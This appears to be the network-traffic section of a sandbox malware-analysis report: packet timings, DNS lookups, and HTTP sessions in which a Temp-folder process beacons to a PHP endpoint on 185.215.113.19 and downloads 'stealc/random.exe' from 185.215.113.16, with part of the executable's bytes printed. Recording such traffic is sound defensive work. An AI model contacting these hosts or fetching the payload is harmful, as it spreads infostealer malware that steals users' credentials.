Jul 27, 2024 05:39:25.893580914 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.893583059 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.893598080 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.893618107 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.893649101 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.893651962 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.893706083 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.893738031 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.893758059 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.893758059 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.893758059 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.893788099 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.893821001 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.893857002 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.893857002 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.893867016 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.893903971 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.893914938 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.893918037 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.893951893 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.893984079 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.893985987 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894018888 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894022942 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894051075 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894083023 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894088030 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894088030 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894109964 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894141912 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894201994 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894216061 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894249916 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894258022 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894284010 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894288063 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894335032 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894362926 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894362926 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894383907 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894417048 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894442081 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894442081 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894467115 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894499063 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894504070 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894531965 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894562960 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894562960 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894596100 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894597054 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894630909 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894659996 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894690037 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894694090 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894695044 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894695044 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894723892 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894726038 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894757986 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894790888 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894793987 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894793987 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894818068 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894843102 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894877911 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894877911 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894928932 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894961119 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894989967 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.894993067 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.894993067 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.895023108 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.895056009 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.895056963 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.895056963 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.895088911 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.895122051 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.895134926 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.895134926 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.895149946 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.895155907 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.895189047 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.895200014 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.895200014 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.895222902 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.895253897 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.895256996 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.895289898 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.895297050 CEST	49489	80	192.168.2.4	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 27, 2024 05:39:57.424848080 CEST	192.168.2.4	1.1.1.1	0x18b6	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:39:57.433144093 CEST	192.168.2.4	1.1.1.1	0xe556	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 05:39:59.964513063 CEST	192.168.2.4	1.1.1.1	0xf6f3	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:39:59.964888096 CEST	192.168.2.4	1.1.1.1	0x76ca	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:39:59.994930029 CEST	192.168.2.4	1.1.1.1	0xe51c	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:39:59.997303009 CEST	192.168.2.4	1.1.1.1	0x4f3e	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:00.048368931 CEST	192.168.2.4	1.1.1.1	0x2661	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 05:40:00.048839092 CEST	192.168.2.4	1.1.1.1	0x27b	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Jul 27, 2024 05:40:02.193300962 CEST	192.168.2.4	1.1.1.1	0xe5d4	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:02.193700075 CEST	192.168.2.4	1.1.1.1	0xb59	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:02.694196939 CEST	192.168.2.4	1.1.1.1	0x4073	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:02.696628094 CEST	192.168.2.4	1.1.1.1	0x9dc9	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:02.706841946 CEST	192.168.2.4	1.1.1.1	0xd605	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:02.718787909 CEST	192.168.2.4	1.1.1.1	0x40d1	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Jul 27, 2024 05:40:03.274112940 CEST	192.168.2.4	1.1.1.1	0x8318	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:03.284476042 CEST	192.168.2.4	1.1.1.1	0x8c26	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:03.299686909 CEST	192.168.2.4	1.1.1.1	0x1f71	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 05:40:03.319907904 CEST	192.168.2.4	1.1.1.1	0x876	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:03.333512068 CEST	192.168.2.4	1.1.1.1	0xcc94	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:03.349894047 CEST	192.168.2.4	1.1.1.1	0x30da	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 05:40:03.351145983 CEST	192.168.2.4	1.1.1.1	0x4777	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:03.365652084 CEST	192.168.2.4	1.1.1.1	0x2f1a	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 27, 2024 05:39:57.410980940 CEST	1.1.1.1	192.168.2.4	0x4ab1	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:39:57.432387114 CEST	1.1.1.1	192.168.2.4	0x18b6	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:39:59.971793890 CEST	1.1.1.1	192.168.2.4	0x76ca	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 05:39:59.971793890 CEST	1.1.1.1	192.168.2.4	0x76ca	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:39:59.971813917 CEST	1.1.1.1	192.168.2.4	0xf6f3	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 05:39:59.971813917 CEST	1.1.1.1	192.168.2.4	0xf6f3	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:39:59.971813917 CEST	1.1.1.1	192.168.2.4	0xf6f3	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:39:59.971813917 CEST	1.1.1.1	192.168.2.4	0xf6f3	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:39:59.971813917 CEST	1.1.1.1	192.168.2.4	0xf6f3	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:39:59.971813917 CEST	1.1.1.1	192.168.2.4	0xf6f3	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:39:59.971813917 CEST	1.1.1.1	192.168.2.4	0xf6f3	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:39:59.971813917 CEST	1.1.1.1	192.168.2.4	0xf6f3	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:39:59.971813917 CEST	1.1.1.1	192.168.2.4	0xf6f3	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:39:59.971813917 CEST	1.1.1.1	192.168.2.4	0xf6f3	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:39:59.971813917 CEST	1.1.1.1	192.168.2.4	0xf6f3	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:39:59.971813917 CEST	1.1.1.1	192.168.2.4	0xf6f3	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:39:59.971813917 CEST	1.1.1.1	192.168.2.4	0xf6f3	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:39:59.971813917 CEST	1.1.1.1	192.168.2.4	0xf6f3	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:39:59.971813917 CEST	1.1.1.1	192.168.2.4	0xf6f3	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:39:59.971813917 CEST	1.1.1.1	192.168.2.4	0xf6f3	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:39:59.971813917 CEST	1.1.1.1	192.168.2.4	0xf6f3	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:00.004549980 CEST	1.1.1.1	192.168.2.4	0xe51c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:00.006603956 CEST	1.1.1.1	192.168.2.4	0x4f3e	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:00.006603956 CEST	1.1.1.1	192.168.2.4	0x4f3e	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:00.006603956 CEST	1.1.1.1	192.168.2.4	0x4f3e	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:00.006603956 CEST	1.1.1.1	192.168.2.4	0x4f3e	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:00.006603956 CEST	1.1.1.1	192.168.2.4	0x4f3e	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:00.006603956 CEST	1.1.1.1	192.168.2.4	0x4f3e	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:00.006603956 CEST	1.1.1.1	192.168.2.4	0x4f3e	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:00.006603956 CEST	1.1.1.1	192.168.2.4	0x4f3e	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:00.006603956 CEST	1.1.1.1	192.168.2.4	0x4f3e	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:00.006603956 CEST	1.1.1.1	192.168.2.4	0x4f3e	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:00.006603956 CEST	1.1.1.1	192.168.2.4	0x4f3e	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:00.006603956 CEST	1.1.1.1	192.168.2.4	0x4f3e	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:00.006603956 CEST	1.1.1.1	192.168.2.4	0x4f3e	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:00.006603956 CEST	1.1.1.1	192.168.2.4	0x4f3e	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:00.006603956 CEST	1.1.1.1	192.168.2.4	0x4f3e	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:00.006603956 CEST	1.1.1.1	192.168.2.4	0x4f3e	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:00.055074930 CEST	1.1.1.1	192.168.2.4	0x2661	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Jul 27, 2024 05:40:00.055713892 CEST	1.1.1.1	192.168.2.4	0x27b	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 27, 2024 05:40:00.055713892 CEST	1.1.1.1	192.168.2.4	0x27b	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 27, 2024 05:40:00.055713892 CEST	1.1.1.1	192.168.2.4	0x27b	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 27, 2024 05:40:00.055713892 CEST	1.1.1.1	192.168.2.4	0x27b	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 27, 2024 05:40:02.200347900 CEST	1.1.1.1	192.168.2.4	0xe5d4	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:02.201767921 CEST	1.1.1.1	192.168.2.4	0xb59	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:02.201767921 CEST	1.1.1.1	192.168.2.4	0xb59	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:02.703502893 CEST	1.1.1.1	192.168.2.4	0x4073	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:02.703517914 CEST	1.1.1.1	192.168.2.4	0x9dc9	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 05:40:02.703517914 CEST	1.1.1.1	192.168.2.4	0x9dc9	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:02.717127085 CEST	1.1.1.1	192.168.2.4	0xd605	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:03.280885935 CEST	1.1.1.1	192.168.2.4	0x8318	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 05:40:03.280885935 CEST	1.1.1.1	192.168.2.4	0x8318	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:03.291248083 CEST	1.1.1.1	192.168.2.4	0x8c26	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:03.314097881 CEST	1.1.1.1	192.168.2.4	0xa46d	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 05:40:03.314097881 CEST	1.1.1.1	192.168.2.4	0xa46d	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:03.326498985 CEST	1.1.1.1	192.168.2.4	0x876	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 05:40:03.326498985 CEST	1.1.1.1	192.168.2.4	0x876	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 05:40:03.326498985 CEST	1.1.1.1	192.168.2.4	0x876	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:03.340209961 CEST	1.1.1.1	192.168.2.4	0xcc94	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Jul 27, 2024 05:40:03.356537104 CEST	1.1.1.1	192.168.2.4	0x30da	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Jul 27, 2024 05:40:03.357665062 CEST	1.1.1.1	192.168.2.4	0x4777	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49473	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:02.422214985 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:03.177341938 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:03.181114912 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:03.431814909 CEST	381	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 62 66 0d 0a 20 3c 63 3e 31 30 30 30 30 31 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 33 39 31 30 65 35 65 62 66 35 64 65 30 34 33 34 39 30 32 35 30 38 30 64 39 23 31 30 30 30 30 31 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: bf <c>1000016001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca73910e5ebf5de04349025080d9#1000017001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49474	185.215.113.16	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:03.453145981 CEST	57	OUT	GET /stealc/random.exe HTTP/1.1 Host: 185.215.113.16
Jul 27, 2024 05:39:04.230803967 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:04 GMT Content-Type: application/octet-stream Content-Length: 250368 Last-Modified: Sat, 27 Jul 2024 03:21:04 GMT Connection: keep-alive ETag: "66a467a0-3d200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 54 67 94 73 10 06 fa 20 10 06 fa 20 10 06 fa 20 7f 70 51 20 0b 06 fa 20 7f 70 64 20 00 06 fa 20 7f 70 50 20 74 06 fa 20 19 7e 69 20 1b 06 fa 20 10 06 fb 20 64 06 fa 20 7f 70 55 20 11 06 fa 20 7f 70 60 20 11 06 fa 20 7f 70 67 20 11 06 fa 20 52 69 63 68 10 06 fa 20 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 2c 7f 18 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 1a 02 00 00 78 03 02 00 00 00 00 e9 20 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 05 02 00 04 00 00 9a 07 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$Tgs pQ pd pP t ~i d pU p` pg Rich PEL,ex 0@`Xx\YS@0.textp `.rdata204@@.data.pR@.casiwid.@@.mufu2@.rsrc6@@
Jul 27, 2024 05:39:04.230860949 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 8b f1 c7 06 a4 53 42 00 e8 d2 06 00 00 f6 44 24 08 01 74 07 56 e8 f3 0b 00 00 Data Ascii: VSBD$tVY^4U, BE$BV3W{3EEuM(BE?E,BEE EEEE~D=u~D@.=u\|yDEEEE
